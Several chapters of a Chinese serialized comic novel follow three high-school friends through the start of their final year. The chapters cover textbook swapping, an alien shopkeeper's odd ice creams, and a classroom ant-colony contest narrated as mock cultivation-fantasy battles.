至于扫描文件就没什么好说的了——全都是书,从识字教材和绘本,再到基础教育的书籍,还有一些人情世故小技巧、航空航天基础知识、空气动力学专业书还有飞行器操作技巧。
最后的最后,是用激光在金属上烫出的文字,这是提昏的信件。
“实在是非常抱歉。辛苦你了,感谢你的付出。以上是我能想到的、所有对你有用的书籍,请尽情学习吧。”
祖兰替,这位年轻人,一句话也没有说。
颜阎不理解这个种族的情绪是如何表达的,但是如果它有面孔,想必要落下泪来。
唐捐的刻石人正式掌控佐斐那全球的那一刻,众人眼前一阵眩晕。等到所有人反应过来时,这个团已经结束了。
铃铛查看了以布的情况,确定他在现实里san值没有掉光,这才松了口气。
被排除在外的巴莫魁并不伤心,她平静地摇了摇头:“至少我在呼叫中心玩得很开心,没事的。”
没人有心情安慰她什么,地球土著躺在地上,愣愣地望着天花板。那种感觉就好像看完电影后,筒灯灼灼亮起来的那一刻,灵魂被光束刺穿,思绪从那个伤口里涌出来,久久不能平静。
在这个知道了很多秘密的傍晚,暑假结束了。
110.痛苦的开端
颜阎出现在校门口的那一刻,许多人不由自主地跑起来。
按道理说,看到颜阎就代表离迟到不远了。可今天颜阎不仅出现了,还带着冷酷神情和蓝牙耳机。要知道她平时进校门都是气喘吁吁地把自己塞进伸缩门即将闭合的缝隙里,蓝牙耳机戴着也会被甩出去。可见今天与平时有众多不同。
今天是八月三十一日,报道日,假期和开学的交接。一批新人将飞升上界(高中),开始新的自相残杀。而旧人们,尤其是高三生,各个心如死灰。
有些人还被大学这根胡萝卜钓着,两眼一翻就盯着胡萝卜猛跑;有些人玩也玩不好学也学不好,满心只有茫然和痛苦;而颜阎之流已经预见自己悲惨的未来,甚至为自己的未来露出了幸灾乐祸的笑。
刘征兰远远看见她,举起左手拳头,然后摊开手掌亮出手掌心,颜阎在太阳穴上并起两指,然后挥出,两名死宅正式会面。
颜阎问:“卓卓坎后来怎么样了?不会没死成吧?”
刘征兰刮着自己眉骨:“你没自己查?”
“呼叫中心这周在康烁影那儿。”
“不该轮到你了吗?”
“我怕丢,逃避责任。”
“笑死。”
“所以卓卓坎怎么样了?”
“我昨天问了律易棋,他说确实死了。因为这件事,玫卢公约相当忌惮刻石人,当时还是人类共同体支持的它。”
“我还以为又掉链子。这么一看两边真是旗鼓相当的对手,一个检测不出来别人死了,一个单枪匹马进外星赌博,把家底赌出去了。”
“战争和高考,都是比谁的失误少。”
“……你别说了,我听到高考就难受。”
昨天三个人约好在校门口碰头,随便套了件衣服就出门的俩死宅等了好一会儿,康烁影才来。她穿得非常潮,腋下还夹着三瓶饮料。
“干站着干嘛!快来接啊!”
颜阎拿走自己的冰红茶,刘征兰拿走自己的芦荟味全,康烁影把雪碧瓶子旋开,抬起下巴咕嘟咕嘟开喝。
“高三咋办?”康烁影问。
“凑合着过呗,还能退学不成。”颜阎拿冰红茶的瓶子在自己脸上滚来滚去解暑,“你们退吗,退了的话能不能高考帮我作弊啊?”
“不是。我是说高三之后,这些外星人的事怎么办。”
刘征兰和她俩碰杯:“有事上,没事算。反正我们也不靠这个吃饭。”
“嗯对,除非影响我们高考,其他一律当课余活动。实在不行我们仨同年同月同日死,一起咬舌自尽。生当作学生,死宁当畜牲。”
康烁影对她们两个的放任自流态度很无语:“先说好,我是很看重高考的。”
“嗯嗯嗯,你放心地去吧。”颜阎说,“我是非常鄙视高考的!”
“那你可以退学。”
“我妈会生气。”颜阎半死不活,“反正我也考不上什么好学校,但总要给我妈一丝幻觉,你懂吧?”
年级第一没说话。她的悲喜普通人是不懂的。
三个人拎着饮料往学校门口走,吊儿郎当没有一点学习的样子。然而走了几步她们就停住了,躲到一边看热闹。
校门口最显眼的风景线是一个穿着校服外套的女学生,她耳朵上打着两枚雪花形状的耳钉,披头发,脸型尖瘦。两个女生搂着她,呜呜假哭:“常!常!你在里面好好改造,好好过日子!”
鲻鱼头女生把两只胳膊都架在她肩膀上,手绕过去从后面摸她头发:“有什么事儿打电话给我们,啊!该吃吃该喝喝,千万别累着自己!”
旁边一个波波头圆框眼镜、满身都是动物毛的女生也呜呜假哭:“加油啊!高三打基础,高四985!千万别跟自己过不去嗷!”
被搂搂抱抱的那个女生身体后仰出一个括号,拿可爱多的左手直直向外支楞着,右手拼命推着自己身上的鲻鱼头女生:“我又不是死了!”
鲻鱼头女生抬起头:“别骗自己了彤,上高三还不如死了呢。”
“我杀了你。”
康烁影认出来了:“啊,那个满身毛毛的,是隔壁宠物店的老板吧。”
刘征兰大惊:“你怎么连宠物店老板都认识?”
“我会和孟含靓一起去摸毛绒绒解压。”
“能记住也是很厉害了。”
“你这种名字和脸对不上号的猜你叫奇怪。”康烁影制止颜阎得意的嘴脸,“你更是!你谁都记不住!”
宠物店老板也看见了她。她跟鲻鱼头耳语了几句,鲻鱼头把尖下巴女学生扳过来面对着她们:“好了好了,去跟小朋友们玩吧。别吵架,别打架,记得自己上厕所。”
“你在狗叫什么?”
门口那两个人靠在一起狂笑。
尖下巴板着脸,一边嗦雪糕一边进学校。前面的三个想转头看她又不好意思,在颜阎和刘征兰“你去我就去”的争论中,康烁影翻了个白眼,转头就朝她走过去:“常青!”
现充的人脉就是这么广阔,上至宇宙外星人,下至本校复读生。她不光认识宠物店老板,鲻鱼头和常青也在她好友列表里。
这俩人就是暑假前跑到二班门口炫耀自己高考完了的那俩缺德玩意儿。没想到她们里真有人留级了!
常青看见康烁影,和她仅仅一顿首,就迫不及待地问:“今年简单吗?”
康烁影一挥手:“哪年不说简单!”
“也是。”常青苦恼地转着自己的耳钉
“怎么复读了?”
常青龇牙:“别提了。化学大翻车。”
康烁影丝滑转换话题:“今年复读班几个人?”
“没数,女生就九个。我估计得常来找你玩了。”
“热烈欢迎!”康烁影鼓掌,“你跟宠物店老板啥关系?她怎么来送你?”
常青把巧克力外壳咬完,正式开始舔奶油:“压力大,高一开始梨子就拉我去她那边撸猫逗狗,混熟了。没事我们经常一起出门玩。”
“社会人?”
“嗯哼。”
康烁影锤她:“这种好事怎么叫你小子给摊上了!”
按道理来说,高中里这种人脉广、有工作了的朋友、能盯着其他人探究的目光打耳钉的同学,多少比较外向,这个时候应该露出邪恶笑容,一个大跳躲开:“那怎么办你报警吧!”
然而常青只是哼哼笑了一声,没有接话。
康烁影倒吸一口凉气:“你不开心?”
常青啧舌:“复读能开心的跟m坐一桌。”
……说的也是。
康烁影说要不我给你展示一段我的舞姿逗你开心,常青说不要不要,康烁影蹭上去过要吧要吧我暑假练的可好看了。
常青:“那你现在给我跳一段。就在这儿。”
康烁影狡黠一笑:“你想看我还不给呢!”然后就得意地回到刘征兰和颜阎身边,三个人一起上了楼。
上楼之后她才发现自己笑早了。
生活委员和班长,谁都没带门钥匙。
俩人站在班级门口你指我我指你,张燕之说不是你带吗?铁塔说凭什么我带,怎么不是你带?
暑假像是过了半辈子那么长,所有人都把高中的记忆丢掉了,刘征兰见别人还得思考一下这是谁,谁都没想到要和对方沟通。再加上周天子过于依赖分封制,完全放权于诸侯,导致两方压根没有提前沟通。
对面的四班也没有好到哪里去,压根没锁门!但好歹不会让学生在外面罚站。
张晓怡早就在半墙上靠着了,见到刘征兰和康烁影只抬了抬下巴:“老柳没来?”
康烁影摇头:“没看见。”然后她又乐,“上学期来我们班外面炫耀的那两个女生,有一个留级了!”
张晓怡幸灾乐祸:“活该!”
俩人凑在一块儿狂笑。
刘征兰站在一边玩扫雷,结束了一把之后,她抬起头,发现柳令全从楼梯的反方向走出来,身边还跟着几个有点熟悉的身影。但另一个身影被柳令全高大的身躯挡得太严实了,她还没来得及细看,对方就闪进了一班。柳令全若无其事地跟大家打了个招呼,四个人蹲在一起玩手机。
四班在进行大家都很熟悉的内容,抢抹布擦自己沾灰的桌子。颜阎没抢到,跟郁霖雨讨要餐巾纸,打算沾点水直接擦,视线转了一圈,发现郁霖雨竟然被派去搬书了。
“十八妹!”她凑到十八妹身边,“餐巾纸来一张。”
十八妹也摊手:“没有,借来了给我一张。”
颜阎一撇嘴,在班里到处乱窜。她本来想找孔丘借,但孔丘也去指挥搬书了。小喇叭、恋爱脑也被征调过去。她一甩头,去找公冶长:“姐姐,纸纸,谢谢。”
公冶长简短回应:“不够用。”也不知道真的假的。
幸好颜阎心大,她在班里乱窜,一边窜一边喊:“救救孩子谁有纸巾!”
“你别跑啦。”一只手把她拦住,“一整包都给你。”
商博良笑吟吟地:“拿去吧。”
颜阎好感动:“谢谢你好姐姐,我要把你的桌子也擦了。”
“我的擦过了。”商博良摆手,然后笑嘻嘻地看着她,“要不你把最干净的书给我?就算报答我了。”
书都是谁搬谁发,但颜阎还是答应了,她把纸巾给十八妹分了一张,然后风卷残云般把自己的桌椅擦干净,去门口接应郁霖雨。
郁霖雨抱着一大摞政治教科书回来,搬书之后肯定抢不到抹布了,颜阎把一包纸巾拿出来:“商博良送的哦。”
郁霖雨“哦”了一声,还是拿过去擦了。
发书的环节更加混乱,很多人更在乎自己的书包放在一个半月没收拾的椅子上,都赶着去擦桌子。孔丘只能抓到谁就派谁去发书,所有人里唯有颜阎特别积极,拿起一摞书就开始发。
她的间歇性发癫已经是常态了,孔丘只是诧异地看了她一眼就默许了。
商博良那一组很倒霉,按照寒假前一周一换的座位,她正好在最靠窗的位置。属于什么好书都发不到她,往往会拿到最顶上的那一摞。就算颜阎发书也改变不了什么,她给自己留两本干净的书没人会说她,但是她不能让别人挑挑拣拣,这样别人肯定有意见。以她们班的人心涣散程度,明天她就能被放在男生小群里骂。
发完书、本子和笔,老师点完书本数之后,还有一些新学期的演讲。趁孔丘一边骂着形式主义一边去办公室拿注意事项,大家开始互相交换。有些人开学前就买了旧教材,想看新教材,有些人嫌作业本印刷太丑了要换颜色亮一点的,有些人单纯就是不用黑笔想要红笔。
颜阎目标明确,乐颠颠地抱着自己发的那两科书来找商博良:“喏,干净,崭新,无划痕,我特意挑的。你跟我换。”
商博良一愣,然后捂着嘴哈哈大笑。
颜阎一甩马尾:“笑什么吗?拿!我说了算。”
其他人正愁没人换,看见她这么大方,一时都来找她换。颜阎态度松弛,谁想要谁就换,就是得一个个来,别给她换没了。一通交换下来,她的教科书各个有划痕,只有桌子还是原装。
她本人倒是乐得自在,低头翻语文书上的课文看。
“没换完呢。”上面有个声音。颜阎抬头,又看见商博良,“我也和你换。”
“这不是我换给你的吗?”
“是呀。”商博良依然笑滋滋,眼睛眯成一条缝,“我还你。又不是折了角就不能用了。”
“那你就拿着。再怎么样都是一本书。”
商博良鼓起腮帮,气呼呼地扯颜阎脸,被她一个后仰躲过去:“那你还跟他们换。”
“换呗。”颜阎对了一下目录,翻到陈情表,“又不影响我看书。”
“他们的书坏了也不影响他们看呀!”
“他们在乎,我不在乎。所以才能换。要是我们都在乎,才是没法换的。”颜阎抬起头邪魅一笑,“比如我想死,别人想让我活,我就绝对不会跟别人妥协。”
商博良拿头撞了一下颜阎肩膀:“好好好,不愧是你。”
颜阎回撞她一下:“去跟拉面玩吧。她一会
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儿上厕所回来了。”
“来我这边儿坐吗?反正没开学,我让北极兔和你换一换,正好她和你同桌玩。一会儿孔丘讲话,我们在下面玩五子棋。”
“我跟拉面玩不到一块儿去,你又不是不知道。”
商博良说:“也是。”
她试着把颜阎的黑笔竖着立在桌子上,成功之后做了一个“展示”的动作,两个人一块儿围着黑笔鼓掌。颜阎也试了几次,都没有成功,商博良带着胜利的表情走了。
过了一会儿,孔丘也回来了,读了一大堆高三的注意事项和课程安排,已经高考的排名、算分方法、学习技巧以及考前激励。
因为还没到正式上课,暗地里的叽叽喳喳一直没有停过。朋友们偷偷换了座位,坐到一起聊暑假的见闻,同桌跑到北极兔旁边,在讲台的遮挡下,跟商博良、拉面一起玩五子棋。后排的男生传阅着历史书上跟同学长得很像的元谋人照片,并在下面附上名字。
颜阎在细细的喧闹里一个人坐着,一页一页翻着书。
等她翻完整个学期的教科书,老师的讲话也结束了。
“噗斯,噗斯噗斯。”
“Oi,颜女士?颜女士?”
刘征兰回头:“咱们走吧,你永远也叫不醒一个装睡的人。”
康烁影同意:“走吧。”
“别啊!”颜阎一下子弹起来,左手一袋右手一袋背上还背着一个书包,“再叫一下呢!再叫一下我就走了!”
三个人驮着一堆书往外走。明天就正式开启高三生涯了,她们三个要去律易棋的莫妮卡杂货店里聚一下。
摇摇摆摆走到操场旁边,刘征兰旁边的绿化带里抖动了一下。刘征兰往那边看了一眼,发现那里抖得越来越厉害。随着绿化带的剧烈颤抖,一个人从里面冒出来,撒了刘征兰一头草籽:“万岁!”
她双手举着一只疯狂抓挠空气的橘猫。
“我们的橘橘国王!”
刘征兰说:“校外的怎么进来的?”
宠物店老板柔情似水把橘猫抱进怀里:“我找朋友借了校服。”
她身上的确穿着一件校服,胸口还有校牌。
她显然记得康烁影,把橘猫举到她面前给她看:“它不是小腿被鱼咬了吗?我拉去陶县给它看看。你们学校的鱼是什么铁齿铜牙,怎么能咬成这样的?”
刘征兰:“它们倒是会吃垃圾。”
颜阎:“还能敲出哆来咪发。”
宠物店老板露出社会人的圆滑笑容:“呃……是吗?那很有意思。”
宠物店老板抱着张牙舞爪的橘橘国王走了。徒留馒头草籽的刘征兰。
颜阎一边给刘征兰摘草籽一边问康烁影:“你今天怎么没跟你的小姐妹一起走?”
“张晓怡去打工。”康烁影道,“柳令全……她说去操场跑步减肥。”
操场上空无一人,也不知道柳令全跑到哪里去了。康烁影骤然警觉起来:“她不会在偷学吧!”
“明天再说。最后的好日子了,学习什么的都明天再说。”颜阎两眼翻白,“我一个暑假,写了多少套卷子你们知道吗,背了多少单词你们知道吗,就是跑团回来后都要猛猛算数学大题,就今天我能啥也不写,谁都不许提学习。”
三个人遛达到律易棋的杂货店,把袋子和书包往前台一放,直奔冰柜。
掀开上面的棉被,把柜门推开,颜阎一头扎进去找四个圈。
律易棋幽幽道:“现在进门甚至不跟我打个招呼了?”
康烁影真诚地回头:“咱们谁跟谁。不要说这些伤感情的话。”
颜阎在冰柜里翻了一阵,发现冰柜里已经完全没有正常的雪糕了。什么酱油冰激凌,番茄薯条雪糕,生菜沙拉冰棒,咸肉冰激凌,咸鸭蛋冰激凌,甘蔗马蹄养生冰糕……为什么啊!进这些能卖什么钱?
她正想问,却发现旁边的刘征兰已经拎起来了两个口味:“商量个事,我付钱,你吃番茄薯条,我吃甘蔗马蹄,这么怪的口味我一定得尝尝。”
原来是专门骗这种好奇心重的,把顾客当一次性消耗品了。
“我也要吃。”康烁影拿起生菜沙拉冰棒:“看起来很健康。”
律易棋走过来,自己拿出咸肉冰激凌拆包装:“试试,也算是一种地球特产。这么奇怪的口味我必须吃。”
颜阎致命询问:“那你为什么要进呢?”
“卖不出去,我低价批发了。”律易棋咬了一口咸肉冰激凌,“好亲切的口感,这个工业调味的水平已经快赶上我们了,就是口感方面的还原还差一点。加油啊地球人,努力向全人造无天然的安全时代迈进!”
颜阎吃得直吐舌头:“呕,好怪。不像土豆,像……像掺了奶油的土。”
三个人从律易棋的柜台下面找到一堆外卖剩下的液体勺,换着吃了几口,感觉都很难吃。最后三个人的眼睛直接落在律易棋身上。
刘征兰问:“你肠胃好吗?”
“……还行?”
三个人把自己啃过的那一半用勺子挖掉,放在包装袋里递给他:“别嫌弃我们,我们这么铁,你肯定会吃完的,不要浪费粮食。”
三个人就悠然离去。过了一会儿,刘征兰又飘回来,从他冰柜里又拿了一根冰工厂,并且留下几块钱:“我觉得还是不应该浪费这难得的吃冰棍机会。”
律易棋看了看桌上三根雪糕,又看了看自己手里的咸肉冰激凌,干脆直接爬进三中学校,把照顾小花园的谷神揪出来。
“你干嘛!”谷神在空中乱蹬。
“吃冰激凌吗?”
鼹鼠的大爪子一顿:“免费吗?”
“免费。”
“我能把婚神和大蜘蛛也叫来吗?”
“可以!”
开学第一天,马英妹一边给办公室里上吐下泻的一群动物收拾残局,一边质问弓粟:“你给它们吃什么了!”
弓粟有苦说不出:“我没有……”
马英妹拿着拖把使劲儿拖地:“从今天起,我要剥夺你淘宝和美团的使用权!”
111.散修,败!
九月一日,须州陶县榕城三中高三(4)班西北角,报废的布告栏左下角,贴上了一张崭新的A4纸,上面有糊成马赛克的黑白插图和四个阵营的得分。
最上方,小一号黑体加粗居中标题扎人眼球:
《蚂蚁争霸赛》
没错,大祭司的蚂蚁争霸赛开张了。
这件事颜阎又是最后一个知道的。
反正下课十分钟做不了太多作业,所以她往往都是睡过去的,另外一层原因是,她在班上没朋友,没人跟她聊天。所以她在课间除了睡觉也没别的娱乐。
总而言之,她完全和同学们堆在布告栏前吵吵闹闹的时间错开了。连善良的商博良和与她私交甚笃的郁霖雨都忘记了叫她。
她在自习课前的课间醒来,决定放学之前做完数学大题,回家专心把英语报纸写了,说不定还能有时间写写东西。伸了个懒腰,她就从倒立的视角中看见还在布告栏前指点江山的同学。
她扎进同学中,左看右看只找到了商博良和拉面这两个和她还算熟悉的人,于是把下巴搁在商博良肩上:“女士们看什么呢?”
大祭司蹦蹦跳跳地从座位上跑到后排,再一次用心讲解:“根据大家暑假里的选择,我已经写好了名单——”她用手放烟花,“积分制,使用了四组蚂蚁,敬请期待——”
四组蚂蚁分别属于:辉煌沙漠、自然花园、激流勇进和天空之城。每组都是用鱼缸和塑料盒组装起来的蚂蚁花园,区域之间用软管连通。辉煌沙漠里铺上了细沙,自然花园则用上了马英妹小花园里挖出来的新鲜土壤,激流勇进的左侧是普通花园,右侧则用许多浮萍铺在养鱼苗的水面上,天空之城是一个架高的小亚克力盒子,里面放着一整块蚂蚁果冻。中间还有许多boss房和食材补充区域。
四族蚂蚁分别是弓背蚁、草地铺道蚁、全异盲切叶蚁和原生收获蚁,都是最常见的种族,大祭司就地挖的。
大祭司在补习班里问过颜阎要不要选阵营,颜阎没选,她觉得这跟所有长线运营游戏一样,不会有真正的结局,只会吸引观众的目光然后出于种种原因,挖坑不填转头路。于是她转而问旁边两个人选了什么。
商博良把下巴放在V字手之间,笑眯眯道:“我没选,远离赌博,从我做起。”
拉面没有回答。
商博良知道颜阎和拉面的关系一般,但是别人直接点了“两人”,她却仍然无视,多少有点……不给别人面子。她用手肘捅了拉面一下:“说话呀。”
拉面扭过头,用手指点着自己:“欸?私?お姫様(公主殿下)、在叫我吗?”
“……”颜阎好想吐槽。
商博良宽容地对颜阎点点头:“高中,你懂的。”
高中就是会有这种怪人的,大家都当看不见。
同样被女同学们包容了一些古怪性格的颜阎点头:“我懂。”
高中就是会有这种二次元角色的。
拉面帅气地甩了一下自己的短发,露出王子般迷人微笑:“私、选了天空之城。因为宫崎骏sansei(老师)创造的那部名作。”她转身握住大祭司的手,“啊~啊!お姫様,不仅有かわいい(可爱)的脸蛋,心思细腻这点也是非常迷人呢。本当に綺麗だ(真美丽啊),君の魂。”
“总而言之她选了天空之城。”商博良自动过滤掉一些无用信息,冷静地翻译。
被拉面牵着手的大祭司从她身前探出脑袋:“明天公布战况哦!”
虽然很多人来围观,但是报名的人没有几个,除了几个好事的女生,就是班里的学阀组织。大家并没有当一回事。
新城,大祭司房间的书桌上,辉煌沙漠的全异盲切叶蚁部族过着宁静而祥和的生活。
作为时空乱流过后的存活子民,小果无比怀念蚂蚁帝国往日的辉煌战绩。那是一段蜜糖般的日子,自从两个人类的使者和蚂蚁的祖先们一起打败邪恶的敌人之后,蚂蚁帝国就逐渐成行。
击败小卖部势力、划定蚂蚁和机械鱼的国境线之后,整个“三中”世界,几乎全是蚂蚁的囊中之物。蚂蚁们占据了这块膏腴之地,享受着取之不尽用之不竭的荷氏,地上到处都是掉落的辣条和仔仔棒,拖把池里永远会流清泉。
帝国的崩塌在一次时空乱流后,一位大能穿越维度的壁垒,将蚂蚁帝国的居民尽数捕捉,丢进这片苦寒之地。
坚强不屈的本性令它迅速重振旗鼓,开始就地囤积粮食、挖掘战壕。很快就重新建立起了崭新的蚂蚁部落,孕育出部落的新一代生命。
就在整个部落积极昂扬地状态里,一只工蚁探得了灵域的出口,它先行探路,竟发现一处灵力充盈的秘境,见此情景,它立刻回到部族通报。得知此事的全异盲切叶蚁——小果,当即派出大批蚁群前去探索。
与此同时,秘密花园的铺道蚁也打通了灵山和秘境的通道,两族同时在秘境相遇。
秘境乃是大能用移山填海之力创造,灵力充沛景色宜人,只可惜有无数上古灵兽栖居,想要在此安然定居,小小蚂蚁,怕是自不量力啊!
可蚂蚁自然不会有这等顾虑。想恢复往日荣光,必须拥有巨量蚂蚁果冻和面包虫,为了复兴,个蚁的生死都是不足一提的小事!
秘境内,一只散修鼠妇正在熟睡,它有一套软甲覆身,绝技是抱胸滚地的绝对防御,虽然不甚体面,但好在技术精湛,绝非等闲之辈可敌。
面对进入秘境的第一位对手,小果冷笑一声,立刻对其展开围剿。鼠妇见蚁群来势汹汹,立刻放弃天地灵宝,夺路而逃,企图遁入四界通道,可兵蚁早已堵死通路。
众蚁一拥而上,从软甲的缝隙中钻入鼠妇的四肢百骸。时间一点点过去,不多时,鼠妇便被小果拖入洞穴,抽魂炼魄,成为了蚁后的养料。
而此时,木棍上观战蚱蜢仙师心头震动。它在此地久居,从不知道世上竟有实力如此强悍的昆虫,它必须马上报告给土狗长老和唐长老。
就在它弹腿起跳,准备使出天赋技能空间穿越之时,它居然感到身上一重,有什么东西挂住了它的翅膀。低头一看,竟是一只小蚂蚁。
它冷哼一声,运转内力使出一招天外飞踢,将它一脚踹飞。那只工蚁狠狠撞到墙上,只听“啪”的一声,霎时神魂俱灭。
小果大惊,赶忙团团围住蚱蜢仙师,两边都想上前一探虚实,可先行出手恐落下风,一时局面僵持不下。
切叶蚁群只来了一支先遣小队,小果的实力不到巅峰期,怕是难以与之抗衡。蚱蜢仙师也隐隐察觉到了小果的孱弱,当即又使出一记天外飞踢,将数只蚁兵践踏至死。
小果大怒——敢伤我左膀右臂,我誓杀汝!
它当即扑上去与蚱蜢仙师厮打在一处。数十招过后,小果落于下风,隐隐有败走之像。
蚱蜢仙师仰天大笑:“黄口小儿,竟敢与我争夺天道苹果?今日,我便杀了你祭我仙门战旗!”
小果的灵识在崩塌!它拼命调动神识,可神躯崩解的速度远比它的恢复快。它的身体,在死去!
它只能拼尽全力保护大脑:“快!快转移蚁后!”
望着奔向蚁巢的蚱蜢仙师,小果心中大恸——难道自己注定殒命于此!
千钧一发之际,远处传来山呼海啸般信息素气味。铺道蚁们成群结队向此处奔来,气势如虹,势不可挡!
“小果我友!我来助你!”
康烁影合上手机。
这节课是语文,可以水过去。上半节课玩一下放松心情,下半节课睡觉,休息一下再上连着的数学。自习课把作业写完,晚上练笔英语作文和政治大题。
明天早上来上学,把英语和政治都交给任课老师批改。不仅能在老师面前刷存在,还能有免费辅导。至于理科课外题,明天早上第二节课再写吧,那个时候最清醒。
跑操要四圈,比其他年级都多,跑完累得头晕,一点课都上不了,她可以趁机吃早饭,然后把唇釉涂上……
“你安排得太紧了!”飞飞在她头上打滚,“意外呀!意外!要给意外留余地!谁愿意把同一天重复看365遍呀?大家看自己的生活不就行了吗?我们要的是日常中的惊险!知道不知道呀,女主角?”
康烁影挺身把手机送进桌洞里,转而撑住下颌,右手在草稿纸上写画:“高考考砸了你赔我?”
飞飞将她的两缕头发上下甩动:“我的职责只是拍你!再说了,你不也愿意
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配合我们的工作吗?”
康烁影旁边的宋悦馨揉了揉眼睛,望着她头上波浪一样甩动的头发:“啊,函数。”
“所以这个盖是什么意思?对,因为。还有哪些词表示因为?宋悦馨。”语文老师敲了敲宋悦馨的桌子,“你来回答。”
宋悦馨毫不犹豫地站起来,被她的动作推后的椅子将张燕之挤得差点吐血:“以、是以、是故。”
事故就在她身后。张燕之圆滚滚的身躯就像个解压的捏捏乐,挤了一下肚子,胳膊和腿就鼓起来,无力地瘫在桌子上。
“好,坐下吧。”语文老师说,“认真听讲。”
宋悦馨又像个服从命令的士兵般爽快坐下。
她身后的张燕之迅速充气,变回一个饱满的捏捏乐。
下课后,宋悦馨的行径自然遭到了批判,很多人觉得她是故意的。
张晓怡难得主动发声,她把手往张燕之肩上一搭,冲着宋悦馨和她的小伙伴从鞋子品牌到笔袋款式,仔细地打量了一番,冷笑道:“她不能挪一挪凳子再坐下?非要直挺挺站直挺挺坐?”
不太喜欢她的孟含靓来帮腔:“马首是瞻咯!老师的小报告,领导的好帮手。”
康烁影比出手枪:“击毙她!”
“若对方反抗,我方将派出甘忘营!”
“好啦。”张燕之无奈地摇晃着挂在她身上的张晓怡,课桌上笔走龙蛇,刷刷刷给所有人批英语默写,“还来劲儿了。我只是被挤了一下,又不是被捅了一下。你们又不是第一次认识她,她执行能力就是这么强。”
孟含靓夸张地捧起她的脸:“主要的是你啊班长!我们绝对不对伤害你的坏人手下留情!”
张燕之乐了:“那我要是被绊一跤,你们是不是还要攻打地球?”
“我们会让甘忘营女士当先遣队。”
刘征兰从厕所吐完回来了,虚脱地拉开座位坐下。见到大家围在一起,装作合群地凑过来:“说什么呢?”
她一出现,桌上这种隐秘的同盟感顿时荡然无存。大家互相看了看,不知道说些什么
刘征兰不太喜欢说别人坏话,更别提是她发小的。
她既不像康烁影那样广交朋友,也不像张晓怡那样凌厉尖刻,更遑论柳令全的温文尔雅。她为人冷淡、行事自我,像是一种不露锋芒的骄傲。可她的成绩又能豁免她的所有出格,古怪的个性也成了她如数家珍的标签中不起眼的一枚。
大家甚至懒得嫉妒她,或者说是已经被打击得习惯了。和她生活在同一个城镇这么久,接受她的压倒性的天赋就像接受太阳的光热。儿时妒火中烧的日子早已过去,将她摘出整个评价体系成为了共识。
大家都在登山,她早已触摸云朵,连嫉恨都像是带她远走的风。
刘征兰也隐约察觉到了某种变化,把声音变得轻快了一些,试图缓和凝滞的气氛:“聊什么呢?”
众人如梦方醒,停滞的空气重新开始流动。
张燕之的眼睛从始至终就没有离开英语默写,就连刚才静止的一瞬,批改也没有停止,就好像为她而起的这些争端,只是一场蟋蟀和螳螂的对鸣。此时,她抬起头对着刘征兰微笑。
“没什么,我被挤了,她们来安慰我。”
她是个很不错的人,不然也不会包容恋爱脑这么久。这个时候,想必是不愿意伤害任何人。
刘征兰点点头,把目光投向康烁影。
她们不愿意对她直说,可能在讨论让她不满的事。比如恋爱,比如政治,比如她的成绩。她从来不因为这些对外人生气,只是偶尔,她会因为隐瞒而愤怒。
语言就是为了高效地沟通而发明的,难道人们为了和平的表象,宁愿隐瞒,也不愿意使用理智吗?
康烁影按灭手机,从桌洞下面抬起头,褐色的眼睛里闪着窗外太阳的金光。
刘征兰松了一口气——好吧,至少康烁影会偷偷告诉她的。
然后康烁影笑了,她把下巴托在双手中,朝宋悦馨的方向点了一下脚尖:“她们在说你朋友坏话呢!”
“只是这样?”
“昂!”
刘征兰淡淡地笑了:“哦,没事了。原谅你们了。”
112.鱼石
蚱蜢大仙暴喝一声:“来得好!”
说时迟那时快,只见一道阴影掠过,狂风席卷着灵力呼啸而去。眨眼间,蚱蜢大仙已经出现在铺道蚁群中。
五毫米之内,铺道蚁全数仰倒,肢体抽搐。蚱蜢大仙屹立其中,身边成群倒下的蚂蚁宛若跪拜般围绕着它,令他看上去像是一尊浴血修罗。
“闪现!”小果大惊,“怎么可能,此乃神技,区区昆虫,怎么可能在此界施展这一招!”
蚱蜢大仙哈哈大笑:“看到了我的厉害,尔等还不求饶!兴许我还能饶你一命!”
“我友莫怕!”除草大喝,“那不过是天外飞踢的高阶形态,把力量汇聚到脚底,从而快速移动,看上去就像闪现一般,其实有天壤之别!”
“知道又如何!区区蝼蚁,绝不可能练成我这一招。只要我不停下,你们就永远没有可能击溃我!”蚱蜢大仙跃至空中,重重落下,“看我的绝招!十克之力!”
十克!足足十克!它这一招落下,在场所有人都会粉身碎骨!它们是不可能战胜的!
可承蒙朋友千里奔袭相救,就算自己死,也不能连累朋友!
小果咬牙怒喝:“顶住!”
霎时间,百十只蚂蚁钻进蚱蜢大仙身下的阴影里。
“找死!满足你!”蚱蜢大仙毫不留情,猛踏地面,每一下都会踩死数只蚂蚁。
然而蚂蚁们没有退缩,顶着死亡的威胁,几只蚂蚁爬上了蚱蜢大仙的脚。蚱蜢大仙拼命甩下它们,然而它们牢牢攀附着它的脚,至死都不愿意放开。
“混账!我让你们放开!”
蚱蜢大仙大怒,愤然甩足。可蚂蚁们前仆后继地涌上来,一些抱住它的腿,一些爬上它的身体,啃食它的触角和眼睛。
蚱蜢大仙惊慌失措,转身欲逃。千钧一发之际,蚂蚁们同时发力。蚱蜢大仙轰然倒地,六股拉力将它向六个不同的方向拉扯,仿佛要将它撕裂成数份!
蚱蜢大仙放声哀鸣,可小果只是冷笑一声,拉力更强。
只听“嚓”一声,蚱蜢大仙的一条腿被人生生从身体上扯了下来,孤零零落在一旁。
天外飞踢失效了!
小果和除草一拥而上,一阵啃咬之后,蚱蜢大仙神魂俱灭,彻底陨落。
除草对小果一点头,“小果朋友,这一次,我们也算是共患难了。”
“什么话。我们曾经在野外时,都并肩作战了多少次了。”
除草叹息:“我看这蚱蜢大仙来头不小。它们蚱蜢一脉的天外飞踢实力低下,本来在我一招之内,便可将它拿下。看来背后另有高人教授它体术。我们两人的日子,以后怕是不好过了。”
“除草莫怕。”小果宽慰道,“若是再有人来犯,我定与你一同面对!”
“一言为定!”
“一言为定!”
激昂的宣言只在秘境内飘荡。
数厘米外的激流勇进中,弓背蚁们睁开眼睛。
“除草……”一个阴狠的声音喃喃低语,“我驼子绝不放过你……”
“哈哈哈哈……”
驼子怒喝:“什么人!滚出来!”
灵界通道里,一只小型蜈蚣探出脑袋:“没想到我们目标一致!”它身材强壮,神情却带着一丝难以察觉的阴毒,“我家主人邀请您和它见一面!”
“报上你家主人姓名!我不与无名之辈会面。”
蜈蚣仆人冷笑:“年轻气盛,胆大包天。好吧,那我就告诉你,我的主人就是虫虫派的左右护法之一,土狗长老!”
